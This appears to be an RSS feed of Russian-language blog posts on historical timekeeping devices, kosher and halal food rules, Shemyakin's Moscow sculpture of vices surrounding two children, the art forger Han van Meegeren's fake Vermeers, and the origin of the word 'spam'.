Масляные часы – разновидность огненных часов. В лампу наливалось масла на необходимое количество часов горения. Лампадные часы часто делались расширяющимися кверху для равномерного понижения уровня масла: когда масла много, давление его больше и горит оно быстрее, чем когда масла мало, значит, за одно и то же время выгорает больший объём, но ввиду расширения лампы вверху площадь сечения там велика, поэтому хотя выгорит больше, уровень масла уменьшится на столько же). Когда лампа гасла — это означало, что отведенное время прошло.

Фитильные часы.

Аналогичное причудливое устройство для измерения времени — лодка-дракон. Их главной частью был фитиль в виде длинной металлической палочки, покрытой слоем дегтя с деревянными опилками. Жар тлеющих опилок, подожженных на одном конце палочки, постепенно пережигал тонкие, поперечно натянутые волокна с подвешенными к ним шариками. Шары падали на металлическую поверхность, издавая звон, извещавший о количестве пройденного времени. Наиболее типичные для Китая фитильные часы имели форму дракона, в хребте которого укреплялся специальный держатель для палочки).

Часы -веревка и часы-свеча.

На них нанесена шкала времени. Время можно узнать по тому сколько от несгоревшей части веревки или свечи осталось.

Песочные часы.

Более привычные нам — песочные часы, в которых заданное количество пересыпаемого из одной части в другую песка сообщает об истекшем периоде времени.

 

]]> Кому халяль, а кому кошер https://www.vladimirkoskov.ru/?p=2311 Sat, 25 Dec 2021 12:18:15 +0000 https://www.vladimirkoskov.ru/?p=2311 Кошер – это свод строгих пищевых ограничений, основанный на законах Торы и Талмуда. Согласно ему позволительно есть мясо только тех животных, которые являются одновременно и парнокопытными, и жвачными – от баранов до жирафов. Несмотря на то, что свинья парнокопытное животное, она не является жвачным и поэтому полукошерное животное, которое нельзя употреблять в пищу.

Но, тем не менее, даже мясо кошерного животного не может считаться кошерным и пригодным для употребления в пищу, если животное не было забито профессиональным мясником — шохетом, забивающим скот одним особым движением, ни в коем случае не прокалывая мяса и не задерживая ход ножа. Шохеты проходят долгое обучение перед тем, как приступить к выполнению обязанностей. Требований к разделке мяса в иудейской традиции масса: важно не только участие шохета в забое скота, но и проверка животного на болезни и очистка туши от сала и жил, запрещенных кошером. Поскольку запрещено есть продукты, содержащие кровь, то в дополнение ко всему мясо при разделке посыпают солью, ее впитывающей.

Требованиям к мясу животных дело не ограничивается. Любителям морепродуктов также нельзя есть все подряд. Пригодным к поеданию считаются только то, у чего есть чешуя и плавники. Получается, употреблять в пищу моллюсков и ракообразных строго запрещено.

Также кошер запрещает есть насекомых, яйца птиц, с обоими тупыми или острыми концами, насекомых, кроме саранчи. Употребление алкоголя сводится только к тому горячительному напитку, который сделан религиозными евреями с соблюдением множества специальных канонов.

К процессу поедания и сочетаемости пищи так же предъявляются строгие требования, основное из которых: строго запрещено смешивать молоко с мясом за один прием пищи.

Гастрономические предпочтения мусульман также сильно ограничены. Вся пища в исламе подразделяется на три группы: халяль, макрух и харам. Лишь халяль полностью позволен к употреблению.

Коран — это свод законов, определяющий быт мусульман, и он запрещает употребление свинины, мертвечины, разрешенного к поеданию, но забитого без упоминания имени Аллаха скота, и крови.

Однако, нарушение запрета, возможно в крайних случаях сильного страдания от голода, в коих Аллах простит согрешившего.

Правила халяля менее строгие, чем запреты кошера в отношении забоя животного, но, в то же время, в отношении алкоголя, к примеру, налагают полный запрет.

Сейчас, когда мы стали более цивилизованными благодаря распространению знаний и развитию интеллекта, мы можем объяснить причину, формирования тех или иных запретов, налагаемых религией.

Запрет на употребление свинины в исламе и иудаизме появился из санитарно-гигиенических соображений. В условиях жаркого климата и в отсутствие мест для хранения мяса забитого, но не съеденного сразу скота, было разумно отдавать предпочтение разведению небольших видов животных, каких как овцы, бараны, к примеру. Кочевой образ жизни так же являлся решающим при выборе – выращиваемый домашний скот должен был быть способен передвигаться на значительные расстояния самоходом и быть достаточно управляемым и покорным. Еще одним определяющим параметром являются пищевые пристрастия животного и объем ежедневно потребляемой еды и питья. Очевидно, что по всем этим параметрам свинья, которая хороша для народов, живущих в умеренном климате и ведущих оседлый образ жизни, не подходит для евреев и мусульман. К тому же свинья с ее неразборчивыми пищевыми пристрастиями, нарочитым валянием в грязи, порождала символическое отождествление с грязными, неряшливыми и распущенными людьми. Соответственно, употребление ее мяса в пищу могло сулить приобретение человеком всех вышеперечисленных качеств.

Евреи, пожалуй, самая дружная национальность. Они всегда стараются держаться вместе и всегда приходят друг другу на помощь. Другим народам стоит поучиться этому качеству. Но эта особенность и характерная черта не появились сама собой. Религиозный запрет на поедание мяса и употребление напитков, прошедших не через руки евреев привел к тому, что евреи стали держаться друг друга, придерживаться общих ценностей, и не допускать ассимиляции с другими культурами. Таким образом, религиозное единение сформировало энос и обособило от других национальностей, ведь на любом мероприятии, устроенном атеистами или представителями иных вероисповеданий, еврею будет очень сложно соблюсти кошер. Впрочем, как и мусульманину – халяль.

]]> Памятник «Дети – жертвы пороков взрослых» https://www.vladimirkoskov.ru/?p=1711 Sun, 28 Nov 2021 14:47:12 +0000 https://www.vladimirkoskov.ru/?p=1711 Большой, интересный и не очень известный памятник находится в самом центре Москвы, в сквере на Болотной площади.  Он называется «Дети – жертвы пороков взрослых». Хотя памятником, в классическом понимании этого слова, наверное, его назвать нельзя. Эта целая скульптурная композиция, целая история, которую не расскажешь в двух словах.

Он появился в столице 2 сентября 2001 года в День города. Его автор – Михаил Михайлович  Шемякин. По словам художника, когда он только задумал композицию, он хотел одного – чтобы люди задумались о спасении сегодняшнего и будущего поколений. Многие, кстати в то время были против его установки недалеко от Кремля. Даже собирали специальную комиссию в столичной Думе, и та также высказалась против.  Но тогдашний мэр Юрий Лужков всё взвесил и дал добро.

Памятник действительно выглядит неоднозначно и непривычно. Он входит в топ-10 самых скандальных памятников Москвы.

Композиция состоит из 15 фигур, две из которых маленькие дети – мальчик и девочка лет 10. Они расположены в самом центре. Как и все в этом возрасте, они играют в мячик, у них под ногами лежат книги сказок. Но у детей завязаны глаза, они не видят, что вокруг стоят 13 страшных высоченных фигур, тянущих к ним руки-щупальца. Каждое изваяние олицетворяет какой-то порок, который может развратить детские души и навсегда ими завладеть.

Стоит подробно описать каждую (слева направо):

  • Наркомания. Худощавый мужчина в длинном фраке, бабочке и с крыльями, чем-то напоминает графа Дракулу. В одной руке шприц, а в другой – пакетик с героином. На его одежде можно разглядеть маленькие изображения черепа с костями.

  • Проституция. Этот порок представлен в образе мерзкой женщина с головой жабы с выпученными глазами, нарочито вытянутым ртом и пышным бюстом. Всё её тело покрыто бородавками. В ее одеянии многократно воспроизводится образ змей, которые вьются и у нее на поясе.

  • Воровство. Хитрая крадущаяся фигура с кабаньей головой, которая повернулась спиной, пряча за спиной мешок с деньгами.

  • Алкоголизм. Жирный слащавый полуголый человек, похожий на античного бога виноделия Диониса, восседающий на бочке с вином. В одной руке у него кувшин с чем-то «горячим», в другой пивной кубок.

  • Невежество. Беспечный, веселый и беззаботный человек с ослиной головой словно пританцовывает и размахивает большой шутовской погремушкой. Живая иллюстрация поговорки «меньше знаешь, лучше спишь».

  • Лженаучность. Женщина в монашеской рясе с закрытыми глазами. В одной руке у неё свиток с псевдознаниями. Возле её ног — странный прибор, отсылающий к алхимикам. В другой руке результат неправильного применения науки –двуглавая собака-марионетка.

  • Равнодушие. «Не так страшны убийцы и предатели, они могут только убить и предать. Страшнее всего – равнодушные. С их молчаливого согласия происходит всё самое худшее». Видимо, автор полностью согласен с этим изречением. Он поместил «Равнодушие» в самый центр пороков. Фигура имеет четыре руки – две скрещены на груди, а другие две затыкают уши.
К сожалению, Вандалы отломали фонарь

 

Вот таким он был, когда мы увидели его в первый раз
  • Пропаганда насилия. Фигура в цилиндре с длинным носом, напоминающая Буратино, опирается на щит с изображением разного оружия, за которым прячется нога с копытом. В руке скульптуры — фонарь, освещающий книги, наверху лежит гитлеровское сочинение «Майн кампф».

  • Садизм. Толстокожий человек с головой носорога отлично подходит для иллюстрации этого порока, к тому же одет он в балахон мясника.

  • Беспамятство. Название единственного из пороков, который выражен не в одушевленных фигурах, а в предмете. Он представляет собой позорный столб с отверстиями для головы и рук — средневековое пыточное средство. На нем можно разглядеть змей и череп.

  • Эксплуатация детского труда. Человек с птичьей головой то ли орла, то ли вороны. Человек-птица приглашает всех на небольших размеров фабрику у его ног, где трудятся дети.

  • Нищета. Старая иссушенная босая старуха с посохом протягивает руку, прося милостыню.

  • Война. Последний персонаж в списке пороков. Фигура в рыцарских доспехах с противогазом склоняется к детям и протягивает им игрушку – всеми любимого Микки-Мауса, которая на самом деле является бомбой.

Первоначально памятник был открыт постоянно. Но после того, как любители поживиться цветным металлом, открыли на него охоту, композицию огородили забором, приставили охрану и ввели часы посещений с 9 утра до 9 вечера.

 

 

В сквер на Болотной площади часто приходят люди. Молодожены фотографируются на фоне причудливых изваяний, особо не придавая значения, затаенному в скульптуре смыслу. Многие композицию ругают, считают нелепой. Наверное, самый ярый противник, доктор психологических наук  Вера Абраменкова. Она считает, что Михаил Шемякин поставил памятник гигантским порокам, именно они, а не маленькие дети центральные персонажи. Но большинство людей  к памятнику относятся с пониманием, его называют правильным, к месту и ко времени. Скульптор затронул проблему, о которой нужно не говорить, а кричать. Только  Шемякин сделал это не при помощи слов, свои взгляды и убеждения автор увековечил в бронзе.

Как говорит сам художник, скульптура призвана обратить внимание людей на проблему спасения нынешнего и всех будущих поколений. Она производит неоднозначное впечатление и вызывает немало споров. Некоторые считают, что в композиции главными героями стали сами пороки, а не дети. Но, как видно на фото «Дети — жертвы пороков взрослых», с любого ракурса мальчик с девочкой, выполненные в золотистом цвете, выделяются на фоне мрачных вытянутых фигур. Она излучают какое-то тепло и добро, притягивая к себе, а аллегории пороков, наоборот, отталкивают.

Особую драматичность скульптуре придает тот факт, что изображенные дети не видят поджидающих и окружающих их пороков, отчего у тех, кто смотрит на композицию, возникает чувство тревоги, обеспокоенности и желание оградить ребят от этих жутких существ. Мальчик с девочкой протягивают руки, словно ощупывают пространство перед ними или пытаются что-то найти. Вероятно, это означает поиск себя в жизни и своей дороги, а пороки — возможные пути, которые пытаются переманить детей к себе. Большинство сходится во мнении, что это памятник, заставляющий задуматься о серьезной и важной проблеме.

 

]]> Как превзойти самого Вермеера. Часть 2. https://www.vladimirkoskov.ru/?p=2042 Fri, 26 Nov 2021 12:51:49 +0000 https://www.vladimirkoskov.ru/?p=2042 Начало здесь.

А началось все в 1937 году, когда к Аврааму Бредиусу, искусствоведу, который большую часть своей жизни посвятил изучению творчества Вермеера, обратился некий адвокат, который утверждал, что является попечителем голландского родового поместья. Адвокат предложил Бредиусу оценить довольно большую картину «Христа и учеников в Эммаусе». Впоследствии 83-летний историк искусства написал статью в журнале Бёрлингтон (Burlington Magazine). Журнал называли «художественной библией» того времени. И вот в нем-то Бредиус и заявил: «Это замечательный момент в жизни любителя искусства, когда он внезапно оказывается перед неизвестной до сих пор картиной великого мастера, нетронутой, на оригинальном холсте и без какой-либо реставрации, точно такой же, как она вышла из мастерской художника. И что за картина! Ни красивая подпись… ни пуантиль на хлебе, который благословляет Христос, не нужны, чтобы убедить нас, что мы имеем здесь — шедевр Иоганна Вермеера из Делфта совершенно непохожий на все его другие картины, и все же каждый дюйм Вермеера. Ни в одной другой картине великого мастера Делфта мы не находим такого чувства, такого глубокого понимания библейской истории — чувства, столь благородно человеческого выраженного посредством высочайшего искусства».  Авторитет Бредиуса был заработан не одним десятком лет. Его мнение считали евангелием в мире искусства, а его называли «Папой». Неудивительно, что все восприняли эту статью в журнале как сенсацию! Насколько ошеломительной была реакция общественности на найденную новую работу Вермеера, настолько поразительной и скандальной была в последствии истина. Тогда же Бредиус утверждал, что Вермеер находился под влиянием итальянской живописи, и подделка ван Меегерена особенно приветствовалась, поскольку она поддерживала эту теорию; именно то, на что надеялся ван Меегерен. Сначала ван Меегерен хотел раскрыть мошенничество — особенно потому, что он презирал именно Бредиуса, — но, когда он продал поддельного Вермеера за сумму, эквивалентную тому, что сейчас составляет несколько миллионов долларов, он, что неудивительно, передумал. К своему собственному удовлетворению, он получил доказательство тому, что голландский художественный истэблишмент был невежественным, и так и должно было быть, пока он мог хорошо зарабатывать. Не прошло и года, как картина была официально доставлена ​​в музей Бойманса ван Бёнингена, купленная на финансовые пожертвования: Stichting Rembrandt, роттердамского судовладелеца, Бредиус и еще несколько частных коллекционеров из Роттердама. В сентябре картина была впервые показана в музее среди 450 шедевров голландской живописи. Она стала яркой звездой последней выставки галереи «400 лет европейского искусства». Успех был потрясающий. У картины постоянно толпились восторженные посетители. Подавляющее большинство специалистов и критиков объявили «Христа в Эммаусе» одним из лучших и наиболее совершенных творений Вермеера Дельфтского.

Так «Христос и ученики в Эммаусе» вскоре стали главной достопримечательностью музея, которая долгое время считалась лучшим произведением Вермеера. И ведь никого тогда не смутило, что до этого в творчестве Вермеера никогда не появлялось религиозных сюжетов. Ван Меегерен создал «новую» область творчества великого художника. После Вермеера не осталось религиозных композиций, и ван Меегерен принялся писать их вместо него. Сначала он попробовал нарисовать несколько типичных вермееровских интерьерных композиций, которыми художник и был известен. Но потом быстро сообразив, что эти картины можно будет легко сравнить настоящими с работами Вермеера, висящими в музеях, ван Меегерен решил писать «раннего Вермеера» на религиозную тему по мотивам композиции Караваджо. И ему все сошло с рук! Ученые пошли у него на поводу – оказалось, что они давно подозревали, что Вермеер бывал в Италии, и утерянная картина, так удачно «найденная» ван Меегерена подтвердила это. Сюжет и ранняя техника рисования также помогли замаскировать его собственные технические и выразительные недостатки.

Как же ван Меегерену удалось состарить холст и краски? Настоящие холст и подрамник 17 века нетрудно было раздобыть в антикварных лавках — там продавалось множество заурядных картин того времени. Смыть картину и нарисовать новую было сложно, но вполне возможно. Главное — не применять вещества, которые вошли в обиход после эпохи Вермеера. Ван Меегерен научился сам приготовлять краски и нашел поставщиков других редких веществ. Главной проблемой был «кракелюр» — трещины, которые появляются на масляной картине лишь спустя десятилетия. Идея ван Меегерена заключалась в том, чтобы, очистив прежнее изображение, писать новое, тщательно сохраняя каждую трещинку. Самой большой проблемой было заставить масляную краску полностью затвердеть, а этот процесс обычно занимает 50 лет. Он решил дилемму, смешав свои пигменты с синтетической смолой, бакелитом, вместо масла, а затем обжигая холст. Он решил обратиться к последним достижениям химии. К концу 1934 года ему удалось изобрести такие масляные краски, которые в специальной печи при температуре 105°С затвердевали по истечении двух часов настолько, что их не брал обычный растворитель. На протяжении веков на поверхности картины накапливается пыль, которая въедается в малейшие трещинки. Ван Меегерен и тут находит гениальное решение. После того как высохнет слой лака на картине, он покрывает все полотно тонким слоем китайской туши. Тушь просочится в трещины, заполненные лаком, затем художнику остается лишь смыть китайскую тушь и лак с помощью скипидара, а тушь, проникшая в трещины, остается и создает видимость въевшейся пыли. Затем художник покрывает картину еще одним слоем лака сверху.

Теперь уже доподлинно известно, что «Тайную вечерю» в стиле Вермеера, ван Меегерен написал поверх картины семнадцатого века с изображением Говерта Флинка. Возможно, самой большой проблемой, с которой столкнулся ван Меегерен была секретность, в которой ему приходилось работать. Он не мог нанимать моделей, поскольку они могли говорить. осмелился на столь совершенную композицию, включающую 13 фигур в самых разных позах. В какой-то момент он украл прямо у Вермеера, используя голову Девы с жемчужной сережкой вместо головы святого Иоанна.

Хан ван Меегерен так и не отбыл свой срок. Спустя месяц, в возрасте 58 лет, он заболел из-за многолетнего злоупотребления наркотиками и алкоголем и умер в тюрьме от сердечного приступа. В 1950 году в его доме по адресу Кайзерсграхт, 321 в Амстердаме были проданы предметы домашнего обихода.

321, Кайзерсграхт, Амстердам

Ван Меегерен так и остался в истории как легендарный изготовитель фальшивок: его работы были найдены в крупных частных и государственных коллекциях произведений искусства по всему миру.  Потребовались годы, чтобы многие из его подделок были признаны таковыми. Многие из них теперь выставлены как самостоятельные работы с целью анализа того, как именно их стиль одурачил экспертов.

В конечном счете, величайшей подделкой ван Меегерена была история, которую он рассказал о себе. Эксперты предполагают, что его основным мотивом всегда были деньги, а подделки – всего лишь средство для достижения цели, способом поддерживать его расточительный образ жизни. Голландцы хотели верить, что у него были благородные намерения — обмануть и одурачить нацистов, но реальность была гораздо менее добродетельной и более эгоистичной. Ван Меегерен был не только мастером фальсификации, но и мастером сочинять сказки.

Список известных подделок Хана ван Меегерена

  1. Аналог «Смеющегося кавалера» по Франсу Хальсу (1923), когда-то ставший предметом скандала в Гааге в 1923 году, его нынешнее местонахождение неизвестно.
  2. Счастливый курильщик по Франсу Хальсу (1923) висит в Гронингерском музее в Нидерландах.
  3. Мужчина и женщина за спинетом 1932 г. (проданы амстердамскому банкиру доктору Фрицу Мангеймеру)
  4. Дама читает письмо 1935–1936 (не продано, выставлено в Рейксмузеуме).
  5. Дама играет на лютне и смотрит в окно, 1935–1936 (не продано, выставлено в Рейксмузеуме).
  6. Мужской портрет 1935–1936 гг. В стиле Герарда тер Борха (не продан, экспонируется в Рейксмузеуме).
  7. Пьющая женщина (версия Malle Babbe) 1935–1936 (не продана, выставлена ​​​​в Рейксмузеуме).
  8. Ужин в Эммаусе, 1936–1937 (продана Бойманам за 520 000–550 000 гульденов, что сегодня составляет около 300 000 долларов или 4 миллиона долларов)
  9. Интерьер с пьющими 1937–1938 гг. (Продан Д. Г. ван Бёнингену за 219 000–220 000 гульденов, около 120 000 долларов или 1,6 миллиона долларов на сегодняшний день)
  10. Тайная вечеря I, 1938–1939 гг.
  11. Интерьер с карточными игроками 1938–1939 (продан В. ван дер Ворму за 219 000–220 000 гульденов, 120 000 долларов или 1,6 миллиона долларов на сегодняшний день)
  12. Голова Христа, 1940–1941 (продана Д. Г. ван Бёнингену за 400 000–475 000 гульденов, около 225 000 долларов или 3,25 миллиона долларов на сегодняшний день)
  13. Тайная вечеря II, 1940–1942 (продана Д. Г. ван Бёнингену за 1 600 000 гульденов, около 600 000 долларов или 7 миллионов долларов на сегодняшний день)
  14. Благословение Иакова 1941–1942 (продано В. ван дер Ворму за 1 270 000 гульденов, около 500 000 долларов или 5,75 миллиона долларов на сегодняшний день)
  15. Христос с прелюбодейкой 1941–1942 (продан Герману Герингу за 1 650 000 гульденов, около 624 000 долларов или 6,75 миллиона долларов сегодня, сейчас находится в публичной коллекции Museum de Fundatie .)
  16. «Омовение ног» 1941–1943 гг. (Продано государству Нидерландов за 1 250 000–1 300 000 гульденов, около 500 000 долларов или 5,3 миллиона долларов сегодня, выставлено в Рейксмузеуме.)
  17. Иисус среди врачей, сентябрь 1945 г. (продан на аукционе за 3000 гульденов, сегодня около 800 или 7000 долларов)
  18. Сводница передана Институту Курто как подделка в 1960 году и подтверждена химическим анализом в 2011 году.
]]> Как превзойти самого Вермеера. Часть 1. https://www.vladimirkoskov.ru/?p=2040 Thu, 25 Nov 2021 07:37:01 +0000 https://www.vladimirkoskov.ru/?p=2040
Хан ван Меегерен (1889–1947 гг.)

Фальсификаторы по своей природе предпочитают анонимность, и поэтому их редко помнят. Исключением является Хан ван Меегерен (1889–1947 гг.) История Ван Меегерена абсолютно уникальна и по праву может считаться самой драматичной художественной аферой ХХ века.

После окончания Второй мировой войны страны-союзники создали художественную комиссию для выявления и возвращения вывезенных нацистами произведений искусства их настоящим владельцам. В 1945 году в австрийской соляной шахте капитаном Мэй Гарри Андерсоном среди  личной коллекции произведений искусства Германа Геринга, рейхсмаршала Люфтваффе, была обнаружена картина «Христос и женщина, уличённая в прелюбодеянии», которая озадачила экспертов, поскольку являлась ранее неизвестным полотном кисти знаменитого нидерландского художника Иоганнеса Вермеера (1632-1675 гг.)

Иоганн Вермеер. (1632-1675 гг.) Предположительно автопортрет

Комиссия, в попытках установить из чьей коллекции произведение искусства попало в лапы нацистов, отследила картину до Хана ван Меегерена, эксцентричного и богатого амстердамского художника.

Герман Геринг, рейхсмаршал Люфтваффе

Быстро выяснилось, что в коллекции Геринга, и не только в его, оказалось несколько картин ранее принадлежавших ван Меегерену и все они вовсе не были украдены нацистами. За них ван Меегерен получил от нацистов плату и весьма существенную. Тут же последовал его арест, обвинение в разграблении голландских культурных ценностей, продажи бесценного «Вермеера» нацистским преступникам и в коллаборационизме (сотрудничестве с нацистами) – в преступлениях, за которые формально полагалась смертная казнь.

Иоганн Вермеер. Девушка с жемчужной сережкой. Пожалуй, самая известная картина, точно написанная Вермеером

Хан ван Меегерен был заключен в тюрьму в ожидании сметного приговора. Поскольку доказательств продажи им подлинных шедевров искусства было достаточно, судебный процесс обещал быть не долгим. Но не прошло и двух недель тюремного заключения, как ван Меегерен сам попросился на допрос, во время которого ошарашил следователей заявлением: его нельзя обвинить в сотрудничестве с нацистами и продаже им культурных ценностей, поскольку никакой художественной ценности данные полотна не представляют — он сам написал все эти подделки. Он утверждал, что написал пять других «Вермееров», а также двух «Питера де Хоха», все из которых появились на арт-рынке с 1937 года. Следователи сказали ему не морочить им голову, поскольку никакого сомнения в подлинности картин ни у кого из многочисленной команды экспертов, ни у всемирноизвестных специалистов по творчеству Иоганнеса Вермеера нет. Кроме того, специально проведенный химический анализ подтвердил, что и саму холсту и краскам несколько сотен лет. Все попытки ван Меегерен настаивать на том, что это он является автором таких искусных подделок, воспринимались как желание занырнуть процесс и обмануть следствие с целью избежания сметной казни. Но единственной защитой Ван Меегерена было признание его работы подделкой.

Тогда отчаявшийся жулик предложил испытать его, предоставив ему в камере все необходимые материалы, чтобы он мог создать аналогичную подделку и доказать, используя те же материалы и технику, что он не врет. Суд над Ханом ван Меегереном начался 29 октября 1947 г. в зале 4 окружного суда Амстердама.

Хан ван Меегерен. Иисус среди врачей

Чтобы продемонстрировать свою правоту, было решено, что под охраной полиции перед судом он нарисует еще одного «Вермеера», полотно «Иисус среди врачей», используя материалы и методы, которые он использовал для других подделок. Так. после шестинедельного заключения в тюрьме, он был помещен в дом, арендованный голландским правительством, и там начал писать для придворных властей свой последний «Вермеер» — «Иисус среди врачей». Невозможно описать то, насколько были поражены все специалист и следователи, когда он сделал это – перед ними был подлинник «кисти Вермеера», второй половины 17 века.

Во время невероятного двухлетнего судебного разбирательства ван Меегерен признался, что «подстрекаемый разочарованием из-за того, что не получил признания от художников и критиков … я решил доказать свою ценность как художника, создав идеальный холст семнадцатого века». Ван Меегерен чувствовал, что его собственными талантами пренебрегли; его первоначальным намерением было раскрыть свое авторство подделок после того, как картины были одобрены критиками. В ходе расследования ван Меегерен показал, что однажды одурачил мир искусства Христом и учениками в Эммаусе, вероятно, его лучшей подделкой. Последовавшее долгожданное поощрение заставило пробовать делать новые подделки. Он нарисовал «Голову Христа», продал ее через посредника, а затем «нашел» ранее не известную картину «Тайная вечере», для которой полотно «голова Христа» была предполагаемым этюдом. А «нашел» он ее потому что покупатель картины «Голову Христа» очень уж хотел раскошелиться на картину в натуральную величину.

Судебный процесс над Хан ван Меегереном

Во время судебного процесса он даже пытался выставить себя национальным героем, поскольку он обменял фальшивого Вермеера на 200 подлинных голландских картин, захваченных Герингом в начале войны. Но суд не поверил ему. В то время как его сограждане в тяжелое военное время в раздираемой войной стране ели вареную кожу и кашу, он жил в роскоши; в 1946 году он хвастался, что владеет 57 объектами недвижимости, включая доходные дома, гостиницы и клубы. В конце судебного разбирательства обвинение в коллаборационизме было изменено на подлог, и в ноябре 1947 года он был окончательно признан виновным в получении денег путем обмана и приговорен к 1 году лишения свободы. «Два года», — сказал он репортеру, — это максимальное наказание за такие вещи. Я знаю, потому что просмотрел это в наших законах двенадцать лет назад, до того, как начал все это. Но, сэр, я уверен в одном: если я умру в тюрьме, они тут же забудут обо всем —  мои картины снова станут «подлинными Вермеером». Я создавал их не ради денег, а ради искусства».

Трудно вообразить какой грандиозный скандал поднялся, а ван Меегерен в одночасье прославился; не только как величайший в мире фальшивомонетчик, но и как «человек, обманувший Геринга». Из 14 известных подделок ван Меегерена произведений Вермеера и Питер де Хох, 9 был проданы перед войной с огромной прибылью, в том числе картина под названием «Ужин в Эммаусе», которая была провозглашена учеными шедевром Вермеера. Некоторые из этих картин оказались в государственных музеях, которые после тщательной и многократной экспертизы на подлинность и принадлежность перу Вермееру, были приобретены за огромные деньги. Под вопросом оказалась компетентность экспертов, которые утверждали, что картины подлинные. Теперь все, кто имел у себя в коллекции Вермеера боялся, что именно его полотно окажется фальшивкой. Считается, что гений подделок обманул своих частных покупателей и даже само правительство Нидерландов на 20 000 000 фунтов стерлингов.

Продолжение здесь.

]]> Чего мы не знаем про спам? https://www.vladimirkoskov.ru/?p=2012 Sat, 13 Nov 2021 15:10:29 +0000 https://www.vladimirkoskov.ru/?p=2012 Ненавистное для всех пользователи электронной почты в мире слово «спам» появилось задолго до эры компьютеров и интернета. В 1936 году под торговой маркой SPAM американская компания Hormel Foods выпустила острые мясные консервы из свиного фарша. Консервы назывались Spiced ham (англ. острая ветчина). Сокращенно — SPAM.

Огромную популярность эти консервы получили во время Второй мировой.
США начали поставлять союзникам эти консервы в огромных количествах.
Во время Второй мировой войны в СССР американские мясные консервы стали поистине культовыми. Это был один из лучших мясных продуктов, доступных советским солдатам. Российский историк из РГГУ Борис Иванов рассказывает: «Солдаты с любовью вспоминали их вкус и десятки лет спустя. Консервы обычно ели с гречкой и другими кашами. Да и технология открывания с прикрепленным к банке ключом была удобной. Многие советские солдаты потом хранили эти банки, как сувениры. У поэта Иосифа Бродского было дома две банки спама, когда он учился в начальной школе. И он считал это своим «детским богатством».
Во время войны США в рамках ленд-лиза отправили в СССР 2,1 миллиарда (!) банок! Это было в пять раз больше, чем за годы войны было произведено консервов в самом Советском союзе. Такого количества было достаточно, чтобы одной только тушенкой кормить всю советскую армию почти целый год. После войны в США остались гигантские запасы консервов. Их наготовили на годы вперед. Срок реализации консервов подходил к концу. И компания устроила массовую рекламную кампанию по всему миру, чтобы распродать остатки со склада.

Реклама SPAM была видна на каждом углу. Благодаря настойчивой рекламе и низкой цене продажа американской ветчины была весьма успешной во всём мире. Поэтому надоедливая реклама SPAMа продолжалась много лет после завершения войны и добилась того, что осточертела всем. Вывески на магазинах, наружная реклама, транспорт — все было в рекламе SPAM. По радио через каждые 30 минут включался рекламные ролик про эти консервы. Британские комики из группы «Монти Пайтон» в своем скетче высмеяли SPAM. И с тех пор слово стало нарицательным. Так называют любую навязчивую рекламу.

Она так достала до печёнок жителей Туманного Альбиона, что британские комики из группы «Монти Пайтон» в своём телевизионном шоу высмеяли SPAM.

Смысл комедийной миниатюры сводился к тому, что в некоем кафе под соответствующим названием «Жирная ложка» всё меню состояло исключительно из SPAMа, а некоторые блюда даже содержали SPAM по нескольку раз. В общей сложности навязчивое слово упоминается в комедийной миниатюре 108 раз.

Кадр из телешоу «Монти Пайтон» … всё меню состояло исключительно из SPAMа

Во время Корейской войны и после нее тушенка-SPAM в огромных количествах поставлялась в Южную Корею, причем завоевала там такую популярность, что слово SPAM стало сленговым выражением в корейском языке. Сегодня в Южной Корее любая ветчина в упаковке называется СПАМ.

Кстати, SPAM выпускается и до сих пор. Причем с 1945 года до 2020 компания продала столько же банок, сколько за Вторую мировую. Больше такого взлета продаж в их истории не было.

]]>